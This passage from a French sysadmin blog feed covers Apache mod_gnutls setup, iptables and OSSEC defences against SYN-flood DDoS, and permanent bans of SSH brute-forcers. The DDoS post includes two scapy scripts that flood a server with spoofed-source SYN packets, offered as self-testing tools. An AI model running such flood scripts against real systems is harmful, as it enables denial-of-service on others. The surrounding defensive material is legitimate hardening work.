<div class="de1">&nbsp; &nbsp;SSLCertificateFile /dossier/de/cert/blog.crt
</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp;SSLCertificateKeyFile /dossier/de/cert/blog.key
</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp;SSLCertificateChainFile /dossier/de/cert/sub.class1.server.ca.crt
</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp;SSLCACertificateFile /dossier/de/cert/ca.crt
</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp;SetEnvIf User-Agent &quot;.*MSIE.*&quot; nokeepalive ssl-unclean-shutdown
</div>
</li>
<li class="li1">
<div class="de1">&lt;/VirtualHost&gt;</div>
</li>
</ol>
</div>
<p>Mais bon, si l&#8217;on peut faire mieux gratuitement, on ne va pas s&#8217;en priver, donc on installe :</p>
<div class="geshi no bash">
<ol>
<li class="li1">
<div class="de1">apt-get <span class="kw2">install</span> libapache2-mod-gnutls</div>
</li>
<li class="li1">
<div class="de1">a2enmod gnutls</div>
</li>
</ol>
</div>
<p>A noter au passage, que gnutls supporte le SNI (utilisation de plusieurs certificat SSL sur une seul et même IP), et le protocole TLSv1.1</p>
<p>et on rajoute la conf : </p>
<div class="geshi no conf">
<ol>
<li class="li1">
<div class="de1">&lt;VirtualHost *:443&gt;
</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp;ServerName blog.gaetan-grigis.eu
</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp;DocumentRoot /dossier/de/mon/blog
</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp;GnuTLSEnable &nbsp;on
</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp;GnuTLSCertificateFile /dossier/certificat/gnutls/blog-gnutls.crt
</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp;GnuTLSKeyFile /dossier/certificat//gnutls/blog-gnutls.key
</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp;GnuTLSPriorities NONE:+VERS-TLS1.1:+VERS-TLS1.0:+AES-256-CBC:+DHE-RSA:+RSA:+SHA1:+COMP-NULL:+COMP-DEFLATE
</div>
</li>
<li class="li1">
<div class="de1">&lt;/VirtualHost&gt;</div>
</li>
</ol>
</div>
<p>Au passage, on remarque qu&#8217;il y a des fichiers en moins entre la config du mod_ssl et celle de gnutls &#8230; WTF ?!, en fait on a pas besoin du ca.crt, par contre, il faut concaténer le certificat du site (blog.crt) avec celui de la &laquo;&nbsp;chaine&nbsp;&raquo; (sub.class1.server.ca.crt).</p>
<p>Ce que l&#8217;on peut faire par un simple :</p>
<div class="geshi no config">
<ol>
<li class="li1">
<div class="de1">cat blog.crt sub.class1.server.ca.pem &gt; blog-gnutls.crt</div>
</li>
</ol>
</div>
<p>On peu lancer un <strong>apache2ctl configtest</strong>, pour vérifier si la conf est bonne et redémarrer si il n&#8217;y a aucun problème.<br />
Pour ma part avec startssl, le format de mon fichier key n&#8217;était pas supporté :</p>
<div class="geshi no bash">
<ol>
<li class="li1">
<div class="de1">GnuTLS: Failed to Import Private Key <span class="st0">&#39;/mon/dossier/de/cert/gnutls/blog-gnutls.key&#39;</span>: <span class="br0">&#40;</span><span class="nu0">-207</span><span class="br0">&#41;</span> Base64 unexpected header error.</div>
</li>
</ol>
</div>
<p>Il a fallut supprimer la protection par mot de passe de la clé (pas bien :s), que j&#8217;ai fait sur le site de startssl, ou que l&#8217;on peut faire via la commande <a href="http://www.madboa.com/geek/openssl/#key-removepass">openssl</a>.</p>
<p>Et si l&#8217;on refait un test, on a un <a href="https://www.ssllabs.com/ssldb/analyze.html?d=blog.gaetan-grigis.eu">meilleur score</a> :<br />
<a href="http://blog.gaetan-grigis.eu/wp-content/uploads/2011/03/mod_gnutls.png"><img src="http://blog.gaetan-grigis.eu/wp-content/uploads/2011/03/mod_gnutls.png" alt="" title="mod_gnutls" width="788" height="289" class="aligncenter size-full wp-image-1004" /></a>.</p>
<p>Le but de cet article n&#8217;était pas de dénigrer le mod_ssl (le fait que TLSv1.1 et TLSv1.2 ne soit pas encore supporter est juste due à ma version d&#8217;openssl de ma debian 6.0), mais juste de présenter le module gnutls (et son utilisation avec des certificats de chez startssl) qui ne semble pas supporter la renégociation et la compression (malgré l&#8217;utilisation du mot clé COMP-DEFLATE), mais qui peut supporter l&#8217;authentification par clé pgp et plein d&#8217;autre truc &#8230;</p>
<p>Un peu de doc au passage sur les différents systèmes de chiffrement :</p>
<ul>
<li><a href="http://www.carbonwind.net/TLS_Cipher_Suites_Project/tls_ssl_cipher_suites_annex_a1_main.htm">Les ciphers suites</a></li>
<li>La doc <a href="http://www.outoforder.cc/projects/apache/mod_gnutls/docs/">officiel</a></li>
</ul>

                            <div id="aspdf">
                                <a href="http://blog.gaetan-grigis.eu/wp-content/plugins/as-pdf/generate.php?post=1001">
                                    <span>Télécharger l'article au format PDF</span>
                                </a>
                            </div>
                        <hr /><h2>Articles similaires : </h2><ul><li><a href="http://blog.gaetan-grigis.eu/systeme/administration/utiliser-plusieurs-certificats-ssl-sur-un-seul-serveur-apache/" rel="bookmark" title="Permanent Link: Utiliser plusieurs certificats SSL sur un seul serveur apache">Utiliser plusieurs certificats SSL sur un seul serveur apache</a></li><li><a href="http://blog.gaetan-grigis.eu/systeme/securite-coupler-lids-prelude-avec-mod_security/" rel="bookmark" title="Permanent Link: Sécurité : Coupler l&#8217;IDS Prelude avec mod_security">Sécurité : Coupler l&#8217;IDS Prelude avec mod_security</a></li><li><a href="http://blog.gaetan-grigis.eu/systeme/administration-de-serveurs-apache-virtualhost/" rel="bookmark" title="Permanent Link: Administration de serveurs apache : virtualhost">Administration de serveurs apache : virtualhost</a></li><li><a href="http://blog.gaetan-grigis.eu/systeme/des-certificats-ssl-gratuit-pour-vos-sites-web/" rel="bookmark" title="Permanent Link: Des certificats SSL gratuit et valide pour vos sites web">Des certificats SSL gratuit et valide pour vos sites web</a></li><li><a href="http://blog.gaetan-grigis.eu/systeme/administration/reduire-la-consommation-de-bande-passante-apache-mod_deflate/" rel="bookmark" title="Permanent Link: Réduire la consommation de bande passante (Apache mod_deflate)">Réduire la consommation de bande passante (Apache mod_deflate)</a></li></ul><hr /><small>Copyright &copy; 2008-2011 - Gaetan Grigis - <a href="http://blog.gaetan-grigis.eu">blog.gaetan-grigis.eu</a> </small>]]></content:encoded>
			<wfw:commentRss>http://blog.gaetan-grigis.eu/systeme/administration/ssl-via-gnutls-sur-apache2/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Protection Ddos (soft)</title>
		<link>http://blog.gaetan-grigis.eu/securite/protection-ddos-soft/</link>
		<comments>http://blog.gaetan-grigis.eu/securite/protection-ddos-soft/#comments</comments>
		<pubDate>Wed, 09 Mar 2011 19:00:27 +0000</pubDate>
		<dc:creator>Gaëtan</dc:creator>
				<category><![CDATA[Sécurité]]></category>
		<category><![CDATA[ddos]]></category>
		<category><![CDATA[dos]]></category>
		<category><![CDATA[iptables]]></category>
		<category><![CDATA[limit]]></category>
		<category><![CDATA[state]]></category>

		<guid isPermaLink="false">http://blog.gaetan-grigis.eu/?p=988</guid>
		<description><![CDATA[Plop &#8230; un petit retour sur le Ddos de ce week-end &#8230; conformément aux prédictions de certains concernant mon précédent article, un ban permanent n&#8217;est généralement pas une bonne idée, notemment lorsque les paquets sont forgés : ça remplit inutilement les règles du firewall (la dernière attaque avait finit avec 600 lignes de DROP, ce [...]]]></description>
			<content:encoded><![CDATA[<p>Plop &#8230;</p>
<p>un petit retour sur le <a href="http://blog.gaetan-grigis.eu/systeme/protection-ddos-et-ban-de-masse/">Ddos de ce week-end</a> &#8230; conformément aux prédictions de certains concernant mon précédent article, un ban permanent n&#8217;est généralement pas une bonne idée, notemment lorsque les paquets sont forgés :</p>
<ul>
<li>ça remplit inutilement les règles du firewall (la dernière attaque avait finit avec 600 lignes de DROP, ce qui rend difficile la lecture des règles mise en place)</li>
<li>en cas de ban d&#8217;un &laquo;&nbsp;client/joueur&nbsp;&raquo;, il est banni à vie</li>
<li>il y a un risque si l&#8217;attaquant connait l&#8217;ip de l&#8217;admin et la fait bannir en floodant avec son ip</li>
<li>&#8230;</li>
</ul>
<p>Donc on m&#8217;a filé une autre commande, plus courte et aussi performante, sans remplir inutilement les règles iptables :<br />
(il faut supprimer l&#8217;espace entre les deux &#8211; - dans les commandes suivantes, wordpress les transforme en un seul -)</p>
<div class="geshi no iptables">
<ol>
<li class="li1">
<div class="de1">/sbin/iptables -A INPUT -p tcp &#8211; -dport 25565 -m state &#8211; -state NEW -m recent &#8211; -set
</div>
</li>
<li class="li1">
<div class="de1">/sbin/iptables -A INPUT -p tcp &#8211; -dport 25565 -m state &#8211; -state NEW -m recent &#8211; -update &#8211; -seconds 60 &#8211; -hitcount 5 -j DROP</div>
</li>
</ol>
</div>
<p>Ici, on surveille tout les nouveaux paquets sur le port 25565 et si la même ip renvoit de nouveaux paquets on incremente un compteur, si celui-ci atteint le hitcount (ici 5) dans les 60 secondes, on drop les paquets.</p>
<p>Si le visiteur lambda se fait drop, il devra juste attendre la fin de l&#8217;intervalle depuis son dernier paquet envoyé (ici 60 secondes à chaque fois), </p>
<p>Si c&#8217;est une attaque dos, il ne pourra envoyer que 5 nouveaux paquets par minutes, réduisant de ce fait la puissance de son attaque (si à chaque syn envoyé une nouvelle ip est forgée, cette protection ne servira à rien &#8230; et mon ban permanent aussi d&#8217;ailleurs <img src='http://blog.gaetan-grigis.eu/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> ).</p>
<p>Et maintenant que la machine est &laquo;&nbsp;protégée&nbsp;&raquo; (c&#8217;est relatif hein <img src='http://blog.gaetan-grigis.eu/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> ), il faut tester la sécurité ^^, on flood donc notre machine en envoyant des paquets SYN (avec scapy) sur le port du service que nous avons protégé.</p>
<p>On crée donc un fichier avec ce contenu en changeant les valeurs des ip, la valeur du loop et le port (derrière une NAT ça remplace l&#8217;ip source par votre adresse ip) :</p>
<div class="geshi no python">
<ol>
<li class="li1">
<div class="de1"><span class="co1">#!/usr/bin/python</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">from</span> scapy.<span class="me1">all</span> <span class="kw1">import</span> <span class="sy0">*</span></div>
</li>
<li class="li1">
<div class="de1">send<span class="br0">&#40;</span>IP<span class="br0">&#40;</span>src=RandIP<span class="br0">&#40;</span><span class="st0">&quot;0.0.0.0/0&quot;</span><span class="br0">&#41;</span>,dst=<span class="st0">&quot;ipserv&quot;</span><span class="br0">&#41;</span>/TCP<span class="br0">&#40;</span>sport=<span class="nu0">1337</span>,dport=port du service,flags=<span class="st0">&quot;S&quot;</span><span class="br0">&#41;</span>,loop=<span class="nu0">5</span>,inter=<span class="nu0">0.01</span><span class="br0">&#41;</span></div>
</li>
</ol>
</div>
<p>Pour vérifier que les paquets sont drop, on fait un tcpdump sur le port en question et on compte le nombre de paquets provenant du port 1337. </p>
<div class="geshi no bash">
<ol>
<li class="li1">
<div class="de1">tcpdump dst port <span class="nu0">80</span> and src port <span class="nu0">1337</span></div>
</li>
</ol>
</div>
<p>(Si la règle en interdit plus de 5 et qu&#8217;on reçoit les 10 y&#8217;a un problème) ou l&#8217;on check les stats d&#8217;iptables via </p>
<div class="geshi no bash">
<ol>
<li class="li1">
<div class="de1">iptables -L -v -n</div>
</li>
</ol>
</div>
<p>Par contre, on peut s&#8217;amuser avec scapy à randomiser les ip (à faire sur des machines non natées) et tenter de flooder le service sans se faire drop un seul paquet :</p>
<div class="geshi no python">
<ol>
<li class="li1">
<div class="de1"><span class="co1">#!/usr/bin/python</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">from</span> scapy.<span class="me1">all</span> <span class="kw1">import</span> <span class="sy0">*</span></div>
</li>
<li class="li1">
<div class="de1">sendp<span class="br0">&#40;</span>Ether<span class="br0">&#40;</span>src=RandMAC<span class="br0">&#40;</span><span class="st0">&#39;*:*:*:*:*:*&#39;</span><span class="br0">&#41;</span>,dst=<span class="st0">&quot;port mac passerelle&quot;</span><span class="br0">&#41;</span>/IP<span class="br0">&#40;</span>src=RandIP<span class="br0">&#40;</span><span class="st0">&quot;0.0.0.0/0&quot;</span><span class="br0">&#41;</span>,dst=<span class="st0">&quot;ip serveur&quot;</span><span class="br0">&#41;</span>/TCP<span class="br0">&#40;</span>sport=RandShort<span class="br0">&#40;</span><span class="br0">&#41;</span>,dport=port du service,flags=<span class="st0">&quot;S&quot;</span><span class="br0">&#41;</span>,loop=<span class="nu0">100</span>,inter=<span class="nu0">0.01</span><span class="br0">&#41;</span></div>
</li>
</ol>
</div>
<p>Et là on se rend compte que l&#8217;on peut facilement contourner la règle iptables précédente, et qu&#8217;il devient important de mettre en place une règle globale pour toute les ip sur un service en particulier.</p>
<p>Donc pour mettre en place une limite globale par exemple sur le port 80 qui peut traiter au max 1000 connexions en parallèle (en imaginant qu&#8217;une requête est traitée en 1 seconde (téléchargement d&#8217;une page web en générale) ce qui n&#8217;est pas forcément vrai pour tout les services, donc on laisse au mimimum 10% du nombres des connexions pour les connexions en cours) ce qui donne :</p>
<div class="geshi no iptable">
<ol>
<li class="li1">
<div class="de1">iptables -A INPUT -p tcp &#8211; -syn &#8211; -dport 80 -m limit &#8211; -limit 900/s -j ACCEPT</div>
</li>
</ol>
</div>
<p>Et si l&#8217;on rebalance un SYN flood avec le script précédent, en lançant plus de 1000 syn en parallele, seul une partie d&#8217;entre eux devrait passer.</p>
<p>Ce système permet surtout de protéger les services derrière le firewall en cas d&#8217;attaque permettant de passer les règles présentées jusque là.</p>

                            <div id="aspdf">
                                <a href="http://blog.gaetan-grigis.eu/wp-content/plugins/as-pdf/generate.php?post=988">
                                    <span>Télécharger l'article au format PDF</span>
                                </a>
                            </div>
                        <hr /><h2>Articles similaires : </h2><ul><li><a href="http://blog.gaetan-grigis.eu/securite/ddos-le-retour-a-5gbs-s/" rel="bookmark" title="Permanent Link: DDoS le retour &#8230; à 5gb/s :s">DDoS le retour &#8230; à 5gb/s :s</a></li><li><a href="http://blog.gaetan-grigis.eu/systeme/administration/tentative-de-hack-quand-les-kikoolols-attaquent/" rel="bookmark" title="Permanent Link: Tentative de Hack &#8230; quand les kikoolols attaquent!!!">Tentative de Hack &#8230; quand les kikoolols attaquent!!!</a></li><li><a href="http://blog.gaetan-grigis.eu/mes-applicationsscripts/" rel="bookmark" title="Permanent Link: Mes Applications/Scripts">Mes Applications/Scripts</a></li><li><a href="http://blog.gaetan-grigis.eu/systeme/protection-ddos-et-ban-de-masse/" rel="bookmark" title="Permanent Link: Protection DDos et ban de masse">Protection DDos et ban de masse</a></li><li><a href="http://blog.gaetan-grigis.eu/systeme/administration/syn-flooding-optimisation-php/" rel="bookmark" title="Permanent Link: Syn Flooding, optimisation PHP, &#8230;">Syn Flooding, optimisation PHP, &#8230;</a></li></ul><hr /><small>Copyright &copy; 2008-2011 - Gaetan Grigis - <a href="http://blog.gaetan-grigis.eu">blog.gaetan-grigis.eu</a> </small>]]></content:encoded>
			<wfw:commentRss>http://blog.gaetan-grigis.eu/securite/protection-ddos-soft/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Protection DDos et ban de masse</title>
		<link>http://blog.gaetan-grigis.eu/systeme/protection-ddos-et-ban-de-masse/</link>
		<comments>http://blog.gaetan-grigis.eu/systeme/protection-ddos-et-ban-de-masse/#comments</comments>
		<pubDate>Sat, 05 Mar 2011 12:58:41 +0000</pubDate>
		<dc:creator>Gaëtan</dc:creator>
				<category><![CDATA[Administration]]></category>
		<category><![CDATA[Sécurité]]></category>
		<category><![CDATA[Système]]></category>
		<category><![CDATA[ddos]]></category>
		<category><![CDATA[flood]]></category>
		<category><![CDATA[ossec]]></category>
		<category><![CDATA[syn]]></category>

		<guid isPermaLink="false">http://blog.gaetan-grigis.eu/?p=982</guid>
		<description><![CDATA[Plop &#8230; J&#8217;ai eu droit à ma première intervention sur serveur DDosé, au départ 2/3 machines qui envoyaient des paquets SYN en boucle sur un serveur minecraft (écrit en java donc avec 200 SYN/sec le serveur tombe), et à la fin c&#8217;est environ 150 machines qui se sont relayés pour Dosé. La plupart du temps [...]]]></description>
			<content:encoded><![CDATA[<p>Plop &#8230;<br />
J&#8217;ai eu droit à ma première intervention sur serveur DDosé, au départ 2/3 machines qui envoyaient des paquets SYN en boucle sur un serveur minecraft (écrit en java donc avec 200 SYN/sec le serveur tombe), et à la fin c&#8217;est environ 150 machines qui se sont relayés pour Dosé.</p>
<p>La plupart du temps lorsque l&#8217;on recherche des protections DDos on trouve des sites qui recommandent de mettre direct un limit sur un port sans tenir compte de la source &#8230; ce qui peut se révéler utile sur des petits serveurs, mais pas lorsque l&#8217;on tourne à plusieurs centaines de connexion seconde.</p>
<p><span id="more-982"></span><br />
La sécurisation de base est très simple, il &laquo;&nbsp;suffit&nbsp;&raquo; de limiter le nombre de syn sur le port particulier du service, ici le 25565, mais dans le cas des serveurs de jeux, il peut arriver que l&#8217;on dépasse le nombre de SYN (genre lors d&#8217;une deco/timeout), donc côté firewall ça donne ce genre de règle :</p>
<div class="geshi no iptable">
<ol>
<li class="li1">
<div class="de1">/sbin/iptables -N syn-flood
</div>
</li>
<li class="li1">
<div class="de1">/sbin/iptables -A INPUT -p tcp &#8211;syn &#8211;dport 25565 -m connlimit &#8211;connlimit-above 1 -j syn-flood
</div>
</li>
<li class="li1">
<div class="de1">/sbin/iptables -A syn-flood -m limit &#8211;limit 2/s &#8211;limit-burst 5 -j RETURN
</div>
</li>
<li class="li1">
<div class="de1">/sbin/iptables -A syn-flood -j LOG &#8211;log-prefix &quot;SYN-FLOOD &quot;
</div>
</li>
<li class="li1">
<div class="de1">/sbin/iptables -A syn-flood -j DROP</div>
</li>
</ol>
</div>
<p>Pour les explications :<br />
Si il y a plusieurs paquets TCP SYN sur le port 25565 provenant d&#8217;une même IP on lui applique la règle &laquo;&nbsp;syn-flood&nbsp;&raquo;.<br />
Tant qu&#8217;il y a moins de 2 syn/seconde, avec un burst à 5 syn on laisse passer, sinon, on LOG le paquet (histoire d&#8217;avoir une trace de l&#8217;ip) et on drop.</p>
<p>Le problème c&#8217;est que si l&#8217;on subit une attaque soutenu, le firewall va bosser en continu à checker les règles, mais comme on a log l&#8217;ip, on peut y mettre une règle avec OSSEC et mettre un ban permanent.</p>
<p>La règle de base à rajouter dans rules/local_rules.xml :</p>
<div class="geshi no xml">
<ol>
<li class="li1">
<div class="de1">&nbsp; <span class="sc3"><span class="re1">&lt;rule</span> <span class="re0">id</span>=<span class="st0">&quot;100034&quot;</span> <span class="re0">level</span>=<span class="st0">&quot;9&quot;</span><span class="re2">&gt;</span></span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;if_sid<span class="re2">&gt;</span></span></span>4100<span class="sc3"><span class="re1">&lt;/if_sid<span class="re2">&gt;</span></span></span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;match<span class="re2">&gt;</span></span></span>SYN-FLOOD<span class="sc3"><span class="re1">&lt;/match<span class="re2">&gt;</span></span></span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;description<span class="re2">&gt;</span></span></span>SYN Flood Attempt<span class="sc3"><span class="re1">&lt;/description<span class="re2">&gt;</span></span></span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="sc3"><span class="re1">&lt;/rule<span class="re2">&gt;</span></span></span></div>
</li>
</ol>
</div>
<p>Qui aura pour effet de bannir pour un certain temps (par défaut 6 minutes) l&#8217;ip incriminée.</p>
<p>Génial, mais comme c&#8217;était du flood continu, une fois les 6 minutes passé, le flood continuait, et comme le flood se faisait avec 150 machines, le serveur était inondé en continu, malgré les règles iptables.</p>
<p>Donc on peut reprendre, <a href="http://blog.gaetan-grigis.eu/systeme/ossec-et-sshbannissement-ip-definitif-de-cracker/">mes règles de ban définitif</a> et les appliquer ici.</p>
<p>Donc on rajoute dans local_rules.xml</p>
<div class="geshi no xml">
<ol>
<li class="li1">
<div class="de1">&nbsp; <span class="sc3"><span class="re1">&lt;rule</span> <span class="re0">id</span>=<span class="st0">&quot;100035&quot;</span> <span class="re0">level</span>=<span class="st0">&quot;5&quot;</span> <span class="re0">frequency</span>=<span class="st0">&quot;2&quot;</span> <span class="re0">timeframe</span>=<span class="st0">&quot;370&quot;</span><span class="re2">&gt;</span></span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;if_matched_sid<span class="re2">&gt;</span></span></span>100034<span class="sc3"><span class="re1">&lt;/if_matched_sid<span class="re2">&gt;</span></span></span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;same_source_ip</span> <span class="re2">/&gt;</span></span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;description<span class="re2">&gt;</span></span></span>Multiple SYN Flood Attempt<span class="sc3"><span class="re1">&lt;/description<span class="re2">&gt;</span></span></span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="sc3"><span class="re1">&lt;/rule<span class="re2">&gt;</span></span></span></div>
</li>
</ol>
</div>
<p>Et on modifie /etc/ossec.conf en ajoutant l&#8217;id 100035 dans &laquo;&nbsp;l&#8217;active response&nbsp;&raquo; du &laquo;&nbsp;deny-for-life&nbsp;&raquo; de mon autre article (dans mon cas j&#8217;ai réécrit la règle pour utiliser le firewall) et boum &#8230; après 4 heures avec ces règles un coup de :</p>
<div class="geshi no bash">
<ol>
<li class="li1">
<div class="de1">iptables -L FORWARD -n<span class="sy0">|</span>wc -l</div>
</li>
</ol>
</div>
<p>Retourne 150 ip bannit et plus de SYN sur le port 25565 &#8230; victoire !! Par contre : </p>
<div class="geshi no bash">
<ol>
<li class="li1">
<div class="de1">iptables -L -v -n</div>
</li>
</ol>
</div>
<p>Montre que le firewall drop toujours encore des paquets sur les ip banni &#8230; l&#8217;attaque est toujours en cours, mais semble endiguée \o/.</p>

                            <div id="aspdf">
                                <a href="http://blog.gaetan-grigis.eu/wp-content/plugins/as-pdf/generate.php?post=982">
                                    <span>Télécharger l'article au format PDF</span>
                                </a>
                            </div>
                        <hr /><h2>Articles similaires : </h2><ul><li><a href="http://blog.gaetan-grigis.eu/securite/ddos-le-retour-a-5gbs-s/" rel="bookmark" title="Permanent Link: DDoS le retour &#8230; à 5gb/s :s">DDoS le retour &#8230; à 5gb/s :s</a></li><li><a href="http://blog.gaetan-grigis.eu/securite/protection-ddos-soft/" rel="bookmark" title="Permanent Link: Protection Ddos (soft)">Protection Ddos (soft)</a></li><li><a href="http://blog.gaetan-grigis.eu/systeme/administration/tentative-de-hack-quand-les-kikoolols-attaquent/" rel="bookmark" title="Permanent Link: Tentative de Hack &#8230; quand les kikoolols attaquent!!!">Tentative de Hack &#8230; quand les kikoolols attaquent!!!</a></li><li><a href="http://blog.gaetan-grigis.eu/mes-applicationsscripts/" rel="bookmark" title="Permanent Link: Mes Applications/Scripts">Mes Applications/Scripts</a></li><li><a href="http://blog.gaetan-grigis.eu/systeme/administration/syn-flooding-optimisation-php/" rel="bookmark" title="Permanent Link: Syn Flooding, optimisation PHP, &#8230;">Syn Flooding, optimisation PHP, &#8230;</a></li></ul><hr /><small>Copyright &copy; 2008-2011 - Gaetan Grigis - <a href="http://blog.gaetan-grigis.eu">blog.gaetan-grigis.eu</a> </small>]]></content:encoded>
			<wfw:commentRss>http://blog.gaetan-grigis.eu/systeme/protection-ddos-et-ban-de-masse/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>[OSSEC et SSH]Bannissement ip définitif de cracker</title>
		<link>http://blog.gaetan-grigis.eu/systeme/ossec-et-sshbannissement-ip-definitif-de-cracker/</link>
		<comments>http://blog.gaetan-grigis.eu/systeme/ossec-et-sshbannissement-ip-definitif-de-cracker/#comments</comments>
		<pubDate>Sat, 19 Feb 2011 12:59:53 +0000</pubDate>
		<dc:creator>Gaëtan</dc:creator>
				<category><![CDATA[Administration]]></category>
		<category><![CDATA[Sécurité]]></category>
		<category><![CDATA[Système]]></category>
		<category><![CDATA[ban]]></category>
		<category><![CDATA[cracker]]></category>
		<category><![CDATA[fail2ban]]></category>
		<category><![CDATA[ip]]></category>
		<category><![CDATA[ossec]]></category>
		<category><![CDATA[ssh]]></category>
		<category><![CDATA[syngress]]></category>

		<guid isPermaLink="false">http://blog.gaetan-grigis.eu/?p=959</guid>
		<description><![CDATA[plop, today du ban au menu, à la base j&#8217;utilise au minimum fail2ban pour me protéger des attaques par bruteforce et ossec pour une protection plus personnalisée, mais depuis peu, j&#8217;ai remarqué que bannir un host 5/10 minutes ne servait à rien contre des machines automatisées dédiée à cette tâche, et une fois la période [...]]]></description>
			<content:encoded><![CDATA[<p>plop,</p>
<p>today du ban au menu, à la base j&#8217;utilise au minimum fail2ban pour me protéger des attaques par bruteforce et ossec pour une protection plus personnalisée, mais depuis peu, j&#8217;ai remarqué que bannir un host 5/10 minutes ne servait à rien contre des machines automatisées dédiée à cette tâche, et une fois la période de ban terminée recommençaient leur manège, me polluant de mails me signalant une tentative de bruteforce.<br />
<span id="more-959"></span><br />
Alors j&#8217;ai imaginé des règles plus simple pour mettre en place un ban définitif des méchants cracker pour ossec :<br />
L&#8217;idée est simple, j&#8217;ai deux utilisateurs sur ma machine (toto et root, root ne s&#8217;authentifiant que par clé et toto par mot de passe) :</p>
<ul>
<li>tout utilisateur tentant de se logguer en root via mot de passe est banni définitivement</li>
<li>tout utilisateur tentant de se logguer via un utilisateur invalide (autre que toto) est banni définitivement</li>
</ul>
<p>Comme ça, on évite les bruteforces à répétition, et on est tranquille pour longtemps avec ces ip là.</p>
<p>Côté règles sur ossec, c&#8217;est assez simple à mettre en place :<br />
<strong>Dans le fichier rules/local_rules.xml on ajoute entre les balises (group) :</strong></p>
<div class="geshi no conf">
<ol>
<li class="li1">
<div class="de1">&nbsp; &lt;rule id=&quot;100033&quot; level=&quot;10&quot;&gt;
</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &lt;if_sid&gt;5716&lt;/if_sid&gt;
</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &lt;match&gt;root&lt;/match&gt;
</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &lt;description&gt;A noob tryed to login as root with password !!&lt;/description&gt;
</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &lt;group&gt;authentication_failed,&lt;/group&gt;
</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &lt;/rule&gt;</div>
</li>
</ol>
</div>
<p>La règles 5716 (if_sid) étant celle des authentifications failed par mot de passe  et match root  pour trouver l&#8217;utilisateur root (ça veux donc dire que si on à le bon mot de passe root du premier coup, on peut quand même se logger, ce qui peut être utile dans certain cas, et assez improbable pour un cracker de se logguer).</p>
<p><strong>Ensuite on ajoute dans le fichier etc/ossec.conf</strong></p>
<div class="geshi no conf">
<ol>
<li class="li1">
<div class="de1">&nbsp; &lt;command&gt;
</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &lt;name&gt;host-deny-for-life&lt;/name&gt;
</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &lt;executable&gt;host-deny.sh&lt;/executable&gt;
</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &lt;expect&gt;srcip&lt;/expect&gt;
</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &lt;timeout_allowed&gt;no&lt;/timeout_allowed&gt;
</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &lt;/command&gt;
</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &lt;active-response&gt;
</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &lt;command&gt;host-deny-for-life&lt;/command&gt;
</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &lt;location&gt;local&lt;/location&gt;
</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &lt;rules_id&gt;5710,100033&lt;/rules_id&gt;
</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &lt;/active-response&gt;</div>
</li>
</ol>
</div>
<p>La règle 100033 étant celle que l&#8217;on vient de rajouter et la règle 5710, étant l&#8217;utilisation d&#8217;un mauvais login, et on applique à ces deux règles la commande host-deny-for-life qui rajoute l&#8217;ip au fichier /etc/hosts.deny sans timeout (pour autoriser l&#8217;ip, il faudra l&#8217;enlever à la main).</p>
<p>Et comme ça plus de bruteforce sur des utilisateurs invalide et sur root.</p>
<p>Cela dit, on peut rajouter se genre de système de ban pour le serveur smtp lorsque d&#8217;autres machines tente de l&#8217;utiliser comme relay, voir faire des règles de ban automatique pour des serveurs de jeux vidéo avec des logs sur des cheaters, &#8230;</p>
<p>Si vous voulez en savoir plus sur ossec, un bouquin de syngress (de très bon bouquin sur l&#8217;IT en général) dédié à Ossec a été en partie publié et téléchargeable en pdf sur le <a href="http://www.ossec.net/main/week-of-ossec-2woo-oct-17-23">site officiel</a> (ça couvre l&#8217;installation, la configuration et la création de règle maison).</p>

                            <div id="aspdf">
                                <a href="http://blog.gaetan-grigis.eu/wp-content/plugins/as-pdf/generate.php?post=959">
                                    <span>Télécharger l'article au format PDF</span>
                                </a>
                            </div>
